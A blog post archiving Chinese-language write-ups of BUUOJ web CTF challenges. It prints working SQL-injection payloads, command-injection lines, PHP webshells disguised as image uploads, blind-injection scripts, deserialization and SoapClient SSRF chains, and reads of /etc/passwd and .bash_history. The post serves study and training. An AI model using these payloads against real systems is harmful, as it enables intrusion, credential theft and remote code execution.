AmiaaaZ's Site | buuoj刷题记录-web

因为前面做的很多由于时间关系遗忘了不少，趁着寒假来温故知新刷波题，这里就做个buuoj-web部分刷题的存档，应该都比较详细

打星号的可能是因为环境问题复现不了，或者自己有地方没搞懂

————前排食用注意：可展开的部分中是没有很好的md排版的（不做二级标题是不想左侧toc和整体页面太臃肿Orz.

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[极客大挑战 2019]EasySQL | sqli 弱口令

弱口令登入

admin'or 1#: 12345

[HCTF 2018]WarmUp | mb_substr

查看页面源码提示source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>

mb_substr与substr用法一样

所以我们在参数内多加一个?即可，但是要注意urlencode，代码中有一次decode，本身还有一次decode，所以要encode两次

payload

/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg

参考：phpmyadmin4.8.1后台getshell

同样的方式绕过waf登入数据库，创建名为一句话shell的表，包含对应路径的数据库文件得到shell

[极客大挑战 2019]Havefun

页面源码

$cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }

payload

/?cat=dog

[ACTF2020 新生赛]Include | LFI

首页提示/?file=flag.php，文件包含点；尝试/etc/passwd，成功，/flag失败，尝试php伪协议

/?file=php://filter/convert.base64-encode/resource=flag.php

[强网杯 2019]随便注 | sqli 堆叠注入

1'
1' or '1
1' union select database()#

得到过滤条件

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

使用堆叠注入

1';show tables;	# 两个表 1919810931114514, words
1';show columns from `1919810931114514`;	# 含flag列 但只回显2列
1';show columns from `words`;	# 回显3列id+data 都是空的

把1919810931114514表改名为words，flag改为id，即可回显对应的data

1';alter table words rename to amiz;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
1' or '1	# 得到flag

————或者使用set&prepare from&execute的方式来堆叠

1';set @xx=concat('se','lect * from `1919810931114514`;');prepare x from @xx;execute x;#

回显过滤条件

strstr($inject, "set") && strstr($inject, "prepare")

用大写绕过

1';Set @xx=concat('se','lect * from `1919810931114514`;');Prepare x from @xx;execute x;#

[SUCTF 2019]EasySQL | sqli 堆叠注入

1;show tables;	# Flag
1;show columns from Flag;	# 被过滤

由于没有完整的报错首先猜一下后端语句，输入非0数字回显为1，其余为空，推测后端有||输出0的情况

select $_POST['query'] || flag from Flag;

payload

*,1
# 相当于 select *,1 from Flag;

————或者使用堆叠，payload

1;set sql_mode=PIPES_AS_CONCAT;select 1

将||转变为+一样的连接字符

flag{4032c605-fa39-448d-aa2d-f35fca8d3fa9}

[ACTF2020 新生赛]Exec | rce

payload

127.0.0.1;cat /flag

flag{f8c12653-ce6e-4eef-8f69-9433506d5adc}

[极客大挑战 2019]Secret File | LFI

页面源码提示/Archive_room.php，/end.php，/secr3t.php看到文件包含点，用伪协议

payload

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

flag{7719d9f9-6f2f-46f7-bc78-a82cfc52d470}

[极客大挑战 2019]LoveSQL | sqli 联合注入

万能密码登入，得到密码是bd798bc32e819b4f57d4e1523d5834c6

admin' union select 1,2,3#		# 有3列
1' union select 1,database(),3#		# 回显位在2和3上 库名geek
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();#		# 表名geekuser, l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1';#	# id, username, password
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

注意group_concat()是个函数，憋手欠加空格

flag{e210152f-fc19-4139-9d2a-dcbb6c4c6268}

[GXYCTF2019]Ping Ping Ping | rce 空格绕过

127.0.0.1;ls	# index.php, flag.php
127.0.0.1;cat flag.php	# fxck your space!
127.0.0.1;cat$IFSindex.php	# 空内容
127.0.0.1;cat$IFSflag.php	# fxck your flag!
127.0.0.1;cat$IFS$7`ls`		# 页面源码得到flag
127.0.0.1;a=g;cat$IFS$7fla$a.php	# 页面源码得到flag

flag{281616ef-7318-42b6-adaf-825edf76ff26}

[极客大挑战 2019]Knife

白给shell，连蚁剑

flag{95a76aa0-58b5-4494-bb49-7f11ce00774d}

[极客大挑战 2019]Http | 请求头

页面源码提示/Secret.php，跟着提示一直修改请求头

Referer: https://Sycsecret.buuoj.cn
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1

flag{614f3098-1c0f-480b-97f7-9caa49025e83}

[极客大挑战 2019]Upload | upload

过滤了几个常规的php后缀，用.php7绕过，同时抓包修改MIME为image/png

之后发现它会检测上传内容有没有<?，用gif+phtml样式的🐎

pure.phtml

GIF89a
<script language='php'>eval($_POST['amiz']);</script>

连蚁剑

flag{23be575a-679e-4f7c-b75b-6e033d10bfca}

[ACTF2020 新生赛]Upload | upload

前端限制后缀白名单jpg, png, gif，删审查元素会删不掉已经注册了的回调函数，所以直接改后缀名上传，然后抓包改一下

pure.html

GIF89a
<script language='php'>eval($_POST['amiz']);</script>

连蚁剑

flag{a8ff29f2-5197-4599-a1c4-1e8b5f390a8c}

[RoarCTF 2019]Easy Calc | php-shell

页面源码：I’ve set up WAF to ensure security.

num参数以get方式传入，不允许有字母；绕过方式/calc.php ?num=xyx，加空格；还有chr()+ascii码

tmp = str(input())
res = ''
for _ in tmp:
    res += f'chr({str(ord(_))}).'
print(res[:-1])

/calc.php? num=1;var_dump(scandir(chr(47)))		# 爆目录文件 f1agg
/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

flag{4f1c0f5a-5a7b-4ad4-b7f4-9eb82de3f93f}

[极客大挑战 2019]PHP

备份文件泄露/www.zip，flag.php中得到flag

Syc{dog_dog_dog_dog}

[极客大挑战 2019]BabySQL | sqli 联合注入双写绕过

把union, select双写即可

admin' ununionion selselectect 1,2,3#
1' uunionnion sselectelect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata%23	# 库名information_schema,mysql,performance_schema,test,ctf,geek
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf'%23	# 表名 Flag
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'		# 字段名flag
1' union select 1,2,group_concat(flag) from ctf.Flag	# ctf库Flag表的flag字段

flag{b6848383-f7d0-4cad-ad7d-98ab54790bbe}

可以写一个mini轮，用于sql语句双写（自己写的比较渣就不放了捏

[ACTF2020 新生赛]BackupFile | 弱比较

/index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

看似比较复杂一点，但是if的比较是弱比较

payload

?key=123

flag{758691a1-017b-4033-899a-bd78281fbcc1}

[护网杯 2018]easy_tornado | ssti

/hint.txt：md5(cookie_secret+md5(filename))

/flag.txt：/fllllllllllllag

目标是找到cookie_secret，在报错页面发现可能的模板渲染

/error?msg={{handler.settings}}

得到cookie_secret: 13b08673-9199-47bc-b5a2-bb7938591e62

/file?filename=/fllllllllllllag&filehash=3725772b08f76e01024d81754c45f307

flag{5756e16a-885e-4009-83e1-653a4818a39a}

[极客大挑战 2019]BuyFlag | is_numeric

/pay.php，页面源码

~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

is_numeric函数用%20绕过

password=404%20&money[]=100000000
Cookie: user=1

flag{a3cd1620-d3f7-45a9-8b3d-ace1ed21e7fb}

[HCTF 2018]admin | unicode欺骗 flask-session

————非预期：admin: 123弱口令

————解法1：ᴬᴰᴹᴵᴺunicode欺骗，注册ᴬᴰᴹᴵᴺ: 456的号，改密为999，登入

————解法2：看cookie是熟悉的flask-session，改密页面/change提示https://github.com/woadsl1234/hctf_flask/，拿到secret=‘ckj123’

python3 flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh':True,'_id': b'Yjg0OGY3OWU1MTI4ZWNhNWU1YWFlZWJiYzg5ZGM1NWNkZTIxYzlkNWJmZjI0YzhkMzljYWE1YzFlZTQ4OWEzY2EwYjlmNGYzODU4OTA1MTA0M2E3MWQ3ODM0M2JmY2IxNjI4MGQxOTQwNThmZDFmODg2ODFlZTdhOTQ1ZGQ0YWM=','csrf_token': b'NGEwMDMxNmEyYzhlNzhkYWRiMTUwYjBiOWIwNGFmYzI1YTIxOTQzMg==','image': b'eWl6eA==','name':'amiz','user_id':'10'}"

flag{f479cd5d-4bc7-47a6-b6b2-be84ff250880}

注意这个脚本加密的时候的内部都是单引号，并且没有多余的花括号

[BJDCTF2020]Easy MD5 | sqli raw-md5永真 md5绕过

响应头有Hint: select * from ‘admin’ where password=md5($pass,true)

php中md5的第二个参数为true时输出16字符二进制，默认false输出32字符十六进制，也就是说这里返回raw md5

mysql中在进行布尔类型判断时，1开头的字符串会被当做int型

password='xxx'or'1xxx'
password='xxx'or 1
password='xxx'or'1'
password='xxx'or true	# 以上三者均返回true
password='xxx'or'0trash'	# false

raw md5包含很多字符，如果raw md5包含'trash'or'1trash'这样的，就会true，永真

一个参考payload是

ffifdyop
hash: 276f722736c95d99e921722cf9ed621c

爆破脚本

<?php
for ($i = 0;;) {
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

参考：Leet More 2010 Oh Those Admins! writeup

之后进入下一关，页面源码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

数组绕过，payload

/levels91.php?a[]=1&b[]=2

进入下一关

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

依旧数组绕过，注意post

/levell14.php
param1[]=1&param2[]=2

flag{78df171e-faa3-4c31-922f-a1f532e06dac}

[ZJCTF 2019]NiZhuanSiWei | 反序列化 LFI

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

指定了r，用data://伪协议

/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

<?php

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

非常简单的反序列化

$a = new Flag();
$a->file = 'flag.php';
echo serialize($a);

payload

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag{0e255178-c131-4073-beb9-5821c29c0c3c}

[SUCTF 2019]CheckIn | upload

传pure.phtml，对后缀检测，jpg会检测文件内容，考虑上传.user.ini

pure2.gif

GIF89a
<script language='php'>eval($_POST['amiz']);</script>

.user.ini

GIF89a
auto_prepend_file=pure2.gif

uploads/cc551ab005b2e60fbdc88de809b2c4b1

传的时候文件重名给远程环境整崩了，懒得重开了，寄

[极客大挑战 2019]HardSQL | sqli 报错注入

之前几个分别用了万能密码，联合查询，双写，这次轮到报错注入了

过滤了=，换成(a)like(b)这样的

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23	# H4rDsq1

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23	# id,username,password

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))%23

1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1))),1))%23

flag{64053c33-96f3-4bea-8e94-02fb81e48236}

[MRCTF2020]你传你🐎呢 | upload

传.htaccess

<FilesMatch "wuhu">
    SetHandler application/x-httpd-php
</FilesMatch>

/var/www/html/upload/fa75c48848aa00244f9317333bbbffe1/.htaccess

传wuhu.jpg

<?php eval($_POST['wuhu']);?>

/var/www/html/upload/fa75c48848aa00244f9317333bbbffe1/wuhu.jpg

连蚁剑，拿flag

flag{0188a589-fefe-4939-95d1-cbcc433fc9b2}

[MRCTF2020]Ez_bypass | is_numeric

排版问题，看页面源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

md5数组绕过，is_numeric绕过

/?id[]=1&gg[]=2
POST: passwd=1234567%20

flag{2d5c5d49-f8a2-471e-b3f0-8861a85e34a8}

[网鼎杯 2020 青龙组]AreUSerialz | 反序列化 private-func

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write(); // 文件写
        } else if($this->op == "2") {
            $res = $this->read();   // 文件读 读flag
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);  // 文件读
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")   // 强比较 $op=2 int类型绕过
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  // 只允许大小写+数字+普通字符 即可见字符
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);   // 先过滤再反序列化
    }

}

坑点在于private function序列化之后会产生不可见字符，两种绕过方式：php7.1+版本对属性不敏感，本地构造payload时全改为public；或者将%00*%00改为十六进制的\00*\00，同时将序列化结果中的s改为S

这里用第一种，private全改public

$obj = new FileHandler();
$obj->op = 2;
$obj->filename = 'php://filter/convert.base64-encode/resource=flag.php';
echo serialize($obj);

payload

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

flag{0138599e-6ac8-4573-b448-e15635135f63}

[GXYCTF2019]BabySQli | sqli 联合查询创建临时数据

页面源码提示：select * from user where username = ‘$name’；这说了跟没说一样，没告诉waf是啥

大写绕过

1'Order by 3%23	# 有3列
1'union select 1,2,3%23	# wrong user!
1'union select 1,'admin',3%23	# wrong pass! 说明用户名在第二列

我们采用的方式是联合查询创建一行临时的新数据，以这个临时数据登入

name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

flag{a544cd1d-4676-41d2-8110-837020cf11e5}

[GYCTF2020]Blacklist | sqli 堆叠注入 handler

跟qwb的随便注非常像，拿payload来试试

1';show tables;
1';show columns from `FlagHere`;
1';show columns from `words`;

1';Set @xx=concat('se','lect * from `FlagHere`;');Prepare x from @xx;execute x;

回显过滤条件

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

用handler on代替select

1'; handler FlagHere open as amiz; handler amiz read first; handler amiz close;#

handler...open打开一个表，使其后续可以使用handler...read访问，并且在该会话handler...close或终止前不会关闭

flag{9ba3c903-1a8c-4a40-b32a-f9752251269c}

[CISCN2019 华北赛区 Day2 Web1]Hack World | sqli 联合查询盲注

长得跟前面的随便注和Blacklist很像，直接给出了flag在flag表flag列

拿fuzz字典过一遍，过滤了and or union order group information，盲注py脚本走起，上二分

import requests

url = 'http://e59ccad4-7152-44b6-ab8f-c632bb29ac31.node4.buuoj.cn:81/index.php'
target = 'glzjin'
content = ''

for i in range(1, 40):
    left = 32
    right = 127
    mid = (left + right) // 2
    while right > left:
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id":payload}
        response = requests.post(url, data)
        if target in response.text:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2
    content += chr(int(mid))
    print(content)

flag{1b79970-4e0-e-b78f-2d63d8c77375}

[网鼎杯 2018]Fakebook | 反序列化 sqli load_file

/robots.txt提示/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

有个curl，反序列化点

$age = 18;
$blog = "file:///var/www/html/flag.php";
$name = "amiz";
$a = new UserInfo($name,$age,$blog);
echo serialize($a);

O:8:"UserInfo":3:{s:4:"name";s:4:"amiz";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

但是本身这玩意还得有个注入点，它在url最后的no参数处

/view.php?no=1 order by 4%23	# 5报错 共4列

不反序列化也行，它没过滤load_file直接就读文件了

/view.php?no=-1 union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4%23

有点奇怪的，你说它过滤空格，但是前面那个不用注释也可以，而且前面参数是1还不行

page 03

[网鼎杯 2018]Comment | git泄露 sqli 二次注入 load_file

发帖会先要求登录，提示zhangwei: zhangwei***，盲猜666，登入

帖子的详情页可以提交留言，这里有xss（但是没啥用又没bot），f12有一句提示程序员GIT写一半跑路了,都没来得及Commit :)，用Githacker看看源码

githacker --url http://c7839413-2569-4342-ac29-8b5810a4c8c4.node4.buuoj.cn:81/ --folder result

因为提示说有一个记录没有commit，我们尝试恢复

git log --reflog	# 有一条后面带括号(refs/stash) 暂存区
sudo git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到完整的源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
        case 'write':
            $category = addslashes($_POST['category']);
            $title = addslashes($_POST['title']);
            $content = addslashes($_POST['content']);
            $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
            $result = mysql_query($sql);
            header("Location: ./index.php");
            break;
        case 'comment':
            $bo_id = addslashes($_POST['bo_id']);
            $sql = "select category from board where id='$bo_id'";
            $result = mysql_query($sql);
            $num = mysql_num_rows($result);
            if($num>0){
                $category = mysql_fetch_array($result)['category'];
                $content = addslashes($_POST['content']);
                $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
                $result = mysql_query($sql);
            }
            header("Location: ./comment.php?id=$bo_id");
            break;
        default:
            header("Location: ./index.php");
    }
}
else{
    header("Location: ./index.php");
}
?>

可以看到只有category没有被addslashes过滤，是直接将执行的结果进行拼接，这里是我们的入手点；先在write处插入，再在comment处闭合前面的注释符，执行结果

write: category=',content=user(),/*
comment: content=*/#

write: category=',content=(select load_file('/etc/passwd')),/*
comment: content=*/#

看到最后一行的www用户，继续查看.bash_history记录

write: category=',content=(select load_file('/home/www/.bash_history')),/*
comment: content=*/#

看到了.DS_Store文件，在linux中它的位置一般在/tmp下，同时.DS_Store中经常有不可见字符，所以加一层hex再读出

write: category=',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
comment: content=*/#

看到flag_8946e1ff1ee3e40f.php，也加一层hex

write: category=',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
comment: content=*/#

————雀食很牛逼的二次注入

page 07

[FireshellCTF2020]URL TO PDF | ssrf

会访问给出的网址，并把结果转为pdf呈现出来

这个请求头显示是WeasyPrint 51，google可以搜到这一篇https://hackerone.com/reports/508123

如果页面上存在这样的标签

<link rel="attachment" href="file:///flag">

或者

<a rel='attachment' href='file:///flag'>

就相当于SSRF请求了，并把结果附到pdf中，我们可以用binwalk分离一下内容

binwalk -e xxx.pdf
cat *|grep flag

参考：wp

[FireshellCTF2020]ScreenShooter | cve-2019-17221 LFI

跟上面那个前端一样，不过区别是会返回拍的照片

看请求头用的是PhantomJS，搜到了这样一篇：PhantonJS_Arbitrary_File_Read.pdf，一个已知的cve-2019-17221

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<script type="text/javascript">
		var amiz;
		amiz = new XMLHttpRequest;
		amiz.onload = function(){
			document.write(this.responseText)
		};
		amiz.open("GET","file:///flag");
		a.send();
	</script>
</body>
</html>

会造成XHR请求，任意文件读取

[De1CTF 2019]ShellShellShell | sqli 时间盲注 soap反序列化内网 upload

是N1ctf2018的easyphp+2018上海市赛web3的缝合+改编，不过这俩我都没做过，这是N1题的wp，这是web3的wp

首先是源码泄露

/index.php~
/user.php~
/config.php~

/views/index
/views/login
/views/logout
/views/register
/views/profile
/views/publish
/views/delete
/views/phpinfo

在user.php中有很多sql的操作，结合这些函数我们可以知道一个名为ctf_usersd的表，有username, password, allow_diff_ip, id, is_admin, ip这几列；在register函数额外有出题人的一个注释做提示用，可以看到这一句直接把is_admin赋值为0

跟入config.php看有关于sql的处理

匹配反引号然后会被替换为单引号，我们只需要把我们sql注入的payload由单引号换成反引号即可

由于注册成不成功什么的回显没有差别，所以使用时间盲注；另外这里有两个地方都可以sqli，一个是register()处一个是publish处

publish这里是注册后就可以直接传参，而register那里还要用md5不停地生成验证码，所以我们选择注册一个号然后用publish这里作为注入点

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x).encode(encoding='utf-8')).hexdigest()
        if md5_value[:5]==md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('ac7a2'))

时间盲注建议还是两个for循环吧，二分不知道为啥一直出问题

import requests

url="http://a4a900d6-ddc6-42eb-b95c-7e63d56d9bba.node4.buuoj.cn:81/index.php?action=publish"
cookie = {"PHPSESSID":"5j1p272lfmi425cpmkv9lik9o7"}

k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""

for i in range(50):
    for j in k:
        j = ord(j)
        data={
            'mood':'0',
            'signature':'1`,if(ascii(substr((select password from ctf_users where username=`admin`),{},1))={},sleep(3),0))#'.format(i,j)
            }
        try:
            r=requests.post(url,data=data,cookies=cookie,timeout=(2,2))
        except:
            flag+=chr(j)
            print(flag)
            break

跑出来md5解密后得到jaivypassword

有密码和账号却登不了，因为他在sql表中设置了allow_diff_ip，只有管理员地址才可以，并且使用了$_SERVER['REMOTE_ADDR']

没法xff绕过，只能找一处ssrf的点；从之前的phpinfo泄露可以看到开启了soap扩展，现在就缺一个反序列化点了

这里的row[2]就是mood，也是我们可以控制的参数，就是注入点了

操作的时候要注意，publish是一个需要登录后才能进行的操作，而我们传参是为了让admin得以登录，这里采取的方式是用另一个未登录页面的cookie的code生成payload，在已登录的账号上publish并触发反序列化，然后之前的未登录页面刷新即可直接进入个人信息页面了

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=1243998';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=meailth0scq7kni7m5ihvr7974'
);
$b = new SoapClient(null,array('location' => $target,
    'user_agent'=>'amiz^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

之后admin的publish页面可以直接传webshell，提示flag在内网，用蚁剑连接扫一下内网

在外网就可以直接访问了

<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];  // 文件名和后缀分离
    if (!is_array($filename)) { // 我们传入和文件类型file同名的数组 file[] 3个参数
        $filename = explode('.', $filename);
    }
    $ext = end($filename);	// 取的是file[0]
    if($ext==$filename[count($filename) - 1]){  // filename[count(filename)-1]=file[2]
        die("try again!!!");    // file[0]=/../amiz.php	file[2]=222	file[1]=111
    }
    $new_name = (string)rand(100,999).".".$ext; // 随机文件名 /../路径穿越绕过
    move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
    $_ = $_POST['hello'];
    if(@substr(file($_)[0],0,6)==='@<?php'){    // @<?php `find /etc -name *flag* -exec cat {} +`;
        if(strpos($_,$new_name)===false) {
            include($_);
        } else {
            echo "you can do it!";
        }
    }
    unlink($new_name);	// 绕过 ../xyz.php 或xyz.php/. 不会被删除
}
else{
    highlight_file(__FILE__);
}

绕过方式参考->2018上海web2

然后构造php的curl，上传到upload处让它触发（太巧妙了吧~ 简直是天籁~

我看赵师傅是用postman直接生成的payload，可是我生成的跟他的版本看起来完全不一样，少了post该有的很多东西，比如分割线啊，文件类型和内容什么的，不知道为啥

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
    CURLOPT_URL => "http://10.0.39.6/",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => "",
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => "POST",
    CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"amiz.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\namiz.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../amiz.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
    CURLOPT_HTTPHEADER => array(
        "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
        "cache-control: no-cache",
        "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
    ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
    echo "cURL Error #:" . $err;
} else {
    echo $response;
}

上传后到/upload/s1.php页面就可以看到flag了

上面php还有个绕过unlink的地方，在n1的题里是用一个.sh执行的删除命令，那样的话可以用-asdd.php这样绕过，因为开头是个-

——————总结：肥肠复杂的一道题，杂揉了md5碰撞、SoapClient原生类反序列化、内网扫描、SSRF、php的trick等等一系列考点，就别说现做了，就是复现的难度也挺高的，师傅们牛逼

参考：wp1 | wp2 | wp11 | wp12

[WMCTF2020]Web Check in 2.0 | LFI rce

